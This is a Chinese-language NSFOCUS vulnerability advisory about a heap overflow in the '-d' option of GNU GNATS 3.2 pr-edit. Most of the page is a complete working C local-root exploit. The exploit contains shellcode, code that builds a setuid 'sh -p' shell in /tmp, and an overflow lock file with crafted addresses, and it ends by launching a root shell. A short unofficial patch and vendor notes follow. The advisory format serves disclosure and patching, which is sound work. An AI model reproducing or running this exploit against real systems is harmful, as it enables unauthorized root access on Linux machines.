安全研究

安全漏洞
GNU GNATS pr-edit命令行选项堆破坏漏洞

发布日期:2003-06-21
更新日期:2003-06-30

受影响系统:
GNU GNATS 3.2
描述:
BUGTRAQ  ID: 8003

GNATS是一款GNU漏洞、缺陷跟踪系统。

GNATS的pr-edit工具在处理命令行选项时缺少正确边界缓冲区检查,本地攻击者可以利用这个漏洞进行基于堆的溢出攻击,可以root用户权限在系统上执行任意指令。

pr-edit工具在对用户提交给'-d'命令行选项的参数时缺少正确检查,攻击者提交超长字符串作为此参数数据,可以触发溢出,精心构建提交数据可能以root用户权限在系统上执行任意指令。

<*来源:dong-h0un U (xploit@hackermail.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105638591907836&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

dong-h0un U(xploit@hackermail.com) 提供了如下测试程序:

/*
**
** GNATS v3.2 (The GNU bug-tracking system) local root 0day exploit
**
** Tested RedHat Linux 6.x,7.x (also, 8.x,9.x)
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
*/
/* -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** [?] Why is root setuid established in Linux?
**
** When install, user who is gnats must exist to system.
** If don't exist, setuid has been established by root's uid.
**
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/stat.h>

#define DF_SIZE (255)
#define T_G "/usr/local/lib/gnats/pr-edit" /* It's Default path */
#define DF_LK_NM "./x82" /* User,Lock: x82 */
#define DF_MK_DIR "/tmp/"
#define DF_BK_SHL "/tmp/gnats-0day"
#define GCC_V_DEF (1)

void own_banrl();
void own_usage(char *own_f_nm);
int __gnats_adm_mkdir();
int __gants_adm_gnats_dot_lock_flow(u_long own_sh,int gv_type);
void psh_addr(FILE *fp,u_long addr);
int make_sh(char *own_d_nm);

struct stat s_t;
char df_mk_dir[(DF_SIZE)]; /* gnats-adm dir path */
char df_mk_lk[(DF_SIZE)]; /* user.lock file path */
char df_mk_tmp[(DF_SIZE)]; /* gnats.lock file path */
char shellcode[(DF_SIZE)]={
    /* chown root: ;chmod 6755 ; */
    0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
    0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
    0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
    0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
    0xeb,0x1d,0x5e,0x31,0xc0,0xb0,0xb6,0x89,
    0xf3,0x31,0xc9,0x31,0xd2,0xcd,0x80,0x31,
    0xc0,0xb0,0x0f,0x66,0xb9,0xed,0x0d,0xcd,
    0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80,0xe8,
    0xde,0xff,0xff,0xff
};

int make_sh(char *own_d_nm)
{
    FILE *fp;
    char d_src[(DF_SIZE)];
    char st_exec[(DF_SIZE)*2];
    
    memset((char *)d_src,0,sizeof(d_src));
    snprintf(d_src,sizeof(d_src)-1,"%s.c",own_d_nm);
    if((fp=fopen(d_src,"w"))==(NULL))
    {
        return(-1);
    }
    fprintf(fp,"main()\n"
        "{\n"
        "setreuid(0,0);"
        "setregid(0,0);"
        "setuid(0);"
        "setgid(0);"
        "system(\"sh -p\");"
        "\n}\n");
    fclose(fp);
    
    memset((char *)st_exec,0,sizeof(st_exec));
    snprintf(st_exec,sizeof(st_exec)-1,
        "gcc -o %s %s >/dev/null 2>&1",own_d_nm,d_src);
    system(st_exec);
    unlink(d_src);
    
    if(stat(own_d_nm,&s_t)==(0))
    {
        return(0);
    }
    else return(-1);
}

void own_banrl()
{
    fprintf(stdout,"\n GNATS v3.2 (The GNU bug-tracking system) local root exploit.\n");
    fprintf(stdout,"                                                by Xpl017Elz.\n\n");
}
void own_usage(char *own_f_nm)
{
    fprintf(stdout," Usage: %s -option [argument]\n\n",own_f_nm);
    fprintf(stdout,"\t -p [pr-edit path]  : GNATS pr-edit path.\n",(T_G));
    fprintf(stdout,"\t -t [target num]    : Select gcc version number.\n",(GCC_V_DEF));
    fprintf(stdout,"\t\t\t{0} : gcc old version.\n");
    fprintf(stdout,"\t\t\t{1} : gcc new version.\n");
    fprintf(stdout,"\t -b [target path]   : setuid shell path.\n");
    fprintf(stdout,"\t -h                 : Help information.\n\n");
    fprintf(stdout," Example: %s -p%s -t%d -b%s\n\n",own_f_nm,(T_G),(GCC_V_DEF),(DF_BK_SHL));
    exit(0);
}

int __gnats_adm_mkdir()
{
    memset((char *)df_mk_dir,0,sizeof(df_mk_dir));
    memset((char *)df_mk_tmp,0,sizeof(df_mk_tmp));
    snprintf(df_mk_dir,sizeof(df_mk_dir)-1,"%s/gnats-adm/",(DF_MK_DIR));
    snprintf(df_mk_tmp,sizeof(df_mk_tmp)-1,"%s/gnats-adm/gnats.lock",(DF_MK_DIR));
    mkdir(df_mk_dir,0x1ed);
    if((stat(df_mk_dir,&s_t)==(0))&&(S_ISDIR(s_t.st_mode)))
    {
        return(0);
    }
    else return(-1);
}

void psh_addr(FILE *fp,u_long addr)
{
    u_char __bf[4];
    memset((u_char *)__bf,0,sizeof(__bf));
    {
        __bf[0]=(addr&0x000000ff)>>0;
        __bf[1]=(addr&0x0000ff00)>>8;
        __bf[2]=(addr&0x00ff0000)>>16;
        __bf[3]=(addr&0xff000000)>>24;
    }
    fprintf(fp,"%c%c%c%c",__bf[0],__bf[1],__bf[2],__bf[3]);
}

int __gants_adm_gnats_dot_lock_flow(u_long own_sh,int gv_type)
{
    FILE *fp;
    int g_g_nm;
#define DF_FIRST_JNK (1024)
#define DF_SECOND_JNK (100)
    int fst_junk_n=(DF_FIRST_JNK);
    int scn_junk_n=(DF_SECOND_JNK);

    memset((char *)df_mk_lk,0,sizeof(df_mk_lk));
    snprintf(df_mk_lk,sizeof(df_mk_lk)-1,"%s/x82.lock",(DF_MK_DIR));

    if(gv_type)
    {
        fst_junk_n+=8;
        scn_junk_n+=28;
    }
    if((fp=fopen(df_mk_lk,"w"))==(NULL))
    {
        return(-1);
    }
    for(g_g_nm=(0);g_g_nm<fst_junk_n;g_g_nm++)
    {
        fprintf(fp,"F");
    }
    (void)psh_addr(fp,(u_long)stdout);
    for(g_g_nm=(0);g_g_nm<scn_junk_n;g_g_nm++)
    {
        fprintf(fp,"S");
    }
    (void)psh_addr(fp,(u_long)own_sh);
    fclose(fp);
}

int main(int argc,char **argv)
{
    int w_g_dot_f;
    pid_t fk_pid;
    u_long own_sh_addl;
    char *own_exect[2];
    int gcc_v_on=(GCC_V_DEF);
    char pth_own[(DF_SIZE)]=(T_G);
    char bck_own[(DF_SIZE)]=(DF_BK_SHL);

    (void)own_banrl();
    while((w_g_dot_f=getopt(argc,argv,"P:p:T:t:B:b:Hh"))!=EOF)
    {
        extern char *optarg;
        switch(w_g_dot_f)
        {
            case 'P':
            case 'p':
                memset((char *)pth_own,0,sizeof(pth_own));
                strncpy(pth_own,optarg,sizeof(pth_own)-1);
                break;
                
            case 'T':
            case 't':
                if((gcc_v_on=(atoi(optarg)))>1)
                {
                    (void)own_usage(argv[0]);
                }
                break;
                
            case 'B':
            case 'b':
                memset((char *)bck_own,0,sizeof(bck_own));
                strncpy(bck_own,optarg,sizeof(bck_own)-1);
                break;
                
            case 'H':
            case 'h':
                (void)own_usage(argv[0]);
                       break;
                
            case '?':
                       (void)own_usage(argv[0]);
                       break;
        }
    }

    fprintf(stdout," [0] Start, exploit.\n");
    if((stat((pth_own),&s_t)!=(0)))
    {
        fprintf(stderr," [-] pr-edit path: %s not found.\n\n",(pth_own));
        exit(-1);
    }
    fprintf(stdout," [+] exploit target: %s\n",(pth_own));
    fprintf(stdout," [1] Make setuid shell.\n");
    if((int)make_sh(bck_own)==(-1))
    {
        fprintf(stderr," [-] exploit failed.\n\n");
        exit(-1);
    }
    fprintf(stdout," [+] Setuid shell path: %s\n",(bck_own));
    fprintf(stdout," [2] Shellcode setting.\n");
    {
        own_sh_addl=((0xbfffffff)-(strlen(shellcode)+strlen(bck_own)));
        strncat(shellcode,bck_own,sizeof(shellcode)-strlen(shellcode)-1);
        own_exect[0]=(shellcode);
        own_exect[1]=(NULL);
    }
    fprintf(stdout," [+] Shellcode address: %p\n",own_sh_addl);
    fprintf(stdout," [3] Make `gnats-adm' directory.\n");
    if((__gnats_adm_mkdir())==(-1))
    {
        fprintf(stderr," [-] make directory failed.\n\n");
        exit(-1);
    }
    fprintf(stdout," [4] Make user.lock file.\n");
    if((__gants_adm_gnats_dot_lock_flow(own_sh_addl,gcc_v_on))==(-1))
    {
        fprintf(stderr," [-] make lockfile failed.\n\n");
        exit(-1);
    }
    fprintf(stdout," [+] Execute, Shellcode !!\n\n");
    if((fk_pid=fork())==(0))
    {
        execle(pth_own,pth_own,"-l",(DF_LK_NM),"-d",(DF_MK_DIR),(DF_LK_NM),(NULL),own_exect);
    }
    wait(&fk_pid);
    fprintf(stdout,"\n [5] Remove setting dir, files.\n");
    unlink(df_mk_lk);
    unlink(df_mk_tmp);
    rmdir(df_mk_dir);

    if((stat(bck_own,&s_t)==(0))&&(s_t.st_mode&S_ISUID))
    {
        fprintf(stdout," [+] exploit successfully.\n");
        fprintf(stdout," [*] It's root shell !!\n\n");
        execl((bck_own),(bck_own),(NULL));
    }
    else
    {
        fprintf(stderr," [-] exploit failed.\n\n");
        exit(-1);
    }
}

/* eoc */

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 非官方补丁下载:

--- internal.c Sat Dec 11 05:02:19 1993
+++ ../gnats.bak/internal.c Sat Jun 14 15:18:10 2003
@@ -203,7 +203,7 @@
struct stat buf;
int count;

- sprintf (path, "%s/gnats-adm/gnats.lock", gnats_root);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/gnats.lock", gnats_root);

#define MAXWAIT 10
#define GRANULARITY 1

厂商补丁:

GNU
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.gnu.org/software/gnats/

浏览次数:2877
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障